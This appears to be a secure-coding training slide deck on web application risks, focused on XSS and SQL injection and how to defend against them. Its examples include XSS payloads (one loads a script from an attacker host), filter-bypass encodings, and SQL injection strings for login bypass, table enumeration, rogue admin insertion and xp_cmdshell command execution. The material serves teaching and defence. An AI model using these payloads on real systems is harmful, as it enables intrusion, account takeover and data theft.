Secure Coding Practice

Secure Coding Practice

Why Secure Code Is so Important

Web Application Vulnerability Statistics • Qualys last 200 Checks • Web App: 40 (20%) • XSS: 9 • SQL Injection: 6 • OS Injection: 5 • Secunia October Advisories (73 total) • Web App: 14 (19%) • XSS: 4 • SQL injection: 3 • SecurityFocus October Vulnerabilties (150 total) • Web App: 35 (23%) • XSS: 10 • SQL Injection: 10 • OS injection: 3

Statistics Continued • Those statistics were only with Off-the-shelf web applications • Custom web applications tend to contain many more vulnerabilities • Very rare to find an application without at least one major web application vulnerability • 95% of applications tested contain an XSS vulnerability

Source Review vs Penetration Test • Penetration Test • Pros • Simulates real-world attack • Can be performed relatively quickly • Cons • Will never find all vulnerabilities • Only tests outer layer • Must be performed once the system is ready

Source Review vs Penetration Test • Source Code Review • Pros • Ability to review all code • Finds vulnerabilities hidden inside conditional flows • Can be performed earlier in the project to catch vulnerabilities as soon as possible • Cons • Time consuming • Does not simulate a real-world attack

Security In The SDLC • The Longer a security vulnerability is left unsolved, the more costly to resolve • Security should therefore be built into the SDLC to catch vulnerabilities as soon as possible • It is too late to wait until one week before go-live to get a security review performed

Standard SDLC • Requirements • Architecture/Design • Development • Integration Testing • Deployment • Maintenance

How Security Fits Into The SDLC • Requirements • Initial risk assessment • Make security requirements explicit • Threat modelling during use cases • Architecture/Design • Design security review • Development • Application development standards • Iterative code reviews • Automated code testing

How Security Fits Into The SDLC • Integration Testing • Application penetration testing • Automated scanning • Deployment • Traditional go-live testing • Maintenance • Regression testing • Code reviews of changes • Operational procedure reviews

Why A Coding Policy Is Important • Developers are not security experts so need advice on how to code securely • Developers change over time • Outsourcing give little control over developers • A coding policy can help ensure security is at an adequate level • Make software acceptance dependant on compliance with the coding policy • Security techniques change over time

Introduction To Common Vulnerabilities - XSS

What Is XSS? • XSS stands for Cross-Site Scripting • It is the ability of one person to inject HTML code into another person’s session • Generally comes in two forms: • Reflective (code stored in a URL, requires tricking a user to click on the URL) • Storage-based (code stored on the site, often does not require user interaction)

Why Is It Bad? • XSS allows an attacker to manipulate the HTML of a web page. • Typical exploits include: • Page modification (defacement) • Redirection (for example login forms) • Site interaction on behalf of user (AJAX) • Pretty much anything you can do with JavaScript

Some Myths About XSS • XSS isn’t a real threat, it can’t do any real damage • WRONG • XSS can lead to a serious compromise of either the site or the victim • Examples • XSS-based worms • Myspace.com example • AJAX • Imagine an Internet Banking site where an XSS attack automatically checks your balance then transfers the maximum to an attacker’s account

XSS Myths Continued • An attacker has to trick a user into following a malicious link • WRONG • Storage-based XSS • Examples • XSS in registration page to compromise Admin • XSS in profile pages • XSS in messages/forums/bulletin boards

XSS Myths Continued • I use post for all my input therefore I am safe from XSS • WRONG • an attacker can craft a page that POSTS to your site to cause XSS • Example • <body onload=form1.submit();> • <form1 action=“/postpage.asp” method=“POST”> • <input type=“text” value=“%3Cscript+src%3D%22http%3A%2F%2Fwww.attacker.com%2Fscript.js%22%2F%3E”> • </form>

XSS Myths Continued • I filter < and > so I am safe • WRONG • Some types of XSS do not require < or > • Examples • " "onmouseover= "alert('XSS'); • +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

Issues With Common Methods To Detect XSS • Common detection methods tend to rely on recognising dangerous characters • There is such a large variation in how these exploits can occur that detection is often difficult • Even vendors get it wrong: • .Net XSS filter bypass • foo.bar/test.asp?term=<%00SCRIPT>alert(‘XSS')</SCRIPT>

Multiple variations of XSS • <script>alert('XSS')</script> • <IMG SRC="javascript:alert('XSS');"> • <IMG SRC=javascript:alert('XSS'&#41> • <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> • <BODY ONLOAD=alert('XSS')> • +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- • " "onmouseover= "alert('XSS');

How To Defend Against XSS • Only allow known good input • Numeric fields • Boolean fields • Alpha fields • AlphaNumeric fields • Length checked • If Special characters must be allowed, do not allow the following characters: • < > “ ' & + ; # / \ % • Always encode output as well as filtering input

Introduction To Common Vulnerabilities – SQL Injection

What Is SQL Injection? • Ability to execute unauthorised SQL statements by manipulating user input • SQLquery = “SELECT * FROM users WHERE username = ‘” + user + “' AND password = ‘” + password + “';” • http://www.target.com/login.asp?user=admin&password='%20OR%20'1'='1 • Query becomes “SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1' = '1';”

Some Myths About SQL • Stored Procedures Protects Against SQL • WRONG • Stored procedures can use inputs to build a statement and then execute • Example CREATE PROCEDURE MyProc (@TableName varchar(255), @FirstName varchar(50), @LastName varchar(50)) AS DECLARE @SQLStatement varchar(255) SELECT @SQLStatement = "SELECT * FROM " + @TableName + "WHERE FirstName = '" + @FirstName + "' AND LastName = '" + @LastName + "'" EXEC(@SQLStatement)

SQL Myths Continued • I Filter the ' character so I am safe from SQL • WRONG • if you have SQL that expects numeric, an attack does not need ' • Example • “SELECT * FROM table WHERE int = @userinput;” • The attack can look like following: 1 or 1=1 • or 1; insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)

Common SQL Injection Variations • Standard - Using ' to close string • /vuln.asp?string=' • Password Circumvention • /login.asp?user=admin&password='or'1'='1 • Comment Injection • /login.asp?user=admin';--&password=whocares • SubSelects • /vuln.asp?string=' + (SELECT TOP 1 FieldName FROM TableName) + '

SQL Injection Variations Continued • Table Enumeration With UNION • /vuln.asp?string=' UNION ALL SELECT name,9,'a' FROM sysobjects where xtype='U • Statement Concatenation • /vuln.asp?string='; INSERT INTO adminusers (username,password) VALUES ('hacked', 'p0wn3d');-- • Command Execution • /vuln.asp?string=';EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:

SQL Injection Variations Continued • Numeric Attack • /vuln.asp?int=1 or 1=1 • Numeric Insertion • /vuln.asp?int=1; insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff) • Using Tab To Bypass Space Checks • /vuln.asp?string=‘%90+%90(SELECT%90TOP%901%90FieldName%90FROM%90TableName)%90+%90'

How To Defend Against SQL Injection • Only allow known good input • Numeric fields • Boolean fields • Alpha fields • AlphaNumeric fields • Length checked • If Special characters must be allowed, do not allow the following characters: • < > “ ' & + ; # / \ % {whitespace}

SQL Injection Defence Continued • Only use parameterised stored procedures • Never generate SQL statements on the fly using strings • Restrict the user account accessing the database • Only allow the user access to the specific stored procedures required • Remove access to master stored procedures (xp_cmdshell etc)

Why Whitelist Beats Blacklist • As can be seen from the examples today, it is very difficult to know and block all variations of attacks • Therefore, using a blacklist to search for known bad data is risky • Best strategy is to know what data is expected and make sure this is true • Make your checks are as specific as possible: • Type of characters allowed • Length

Keep It Secure

Continued Testing • Any changes to the code can introduce new security vulnerabilities • All code changes should be checked to ensure they: • Comply with the coding policy • Do not introduce new security vulnerabilities • Security changes over time, what was secure today may not be secure in a year’s time • Make sure security tests are performed on a regular basis

Protect The Source • It is not enough to review one version of code • Must ensure that the ability to insert malicious code is minimised • Must ensure that access to source code is restricted (CISCO)

Testing Tools • Source Code Analysis • CodeScan (of course ) • PMD • Findbugs • Automated Web Application Testing Tools • WebInspect • AppScan • AppDetective • ScanDo

References • Open Web Application Security Project http://www.owasp.org • XSS Cheatsheet http://ha.ckers.org/xss.html • Codescan Source code analysis Tool http://www.codescan.com

Questions?

Secure Coding Practice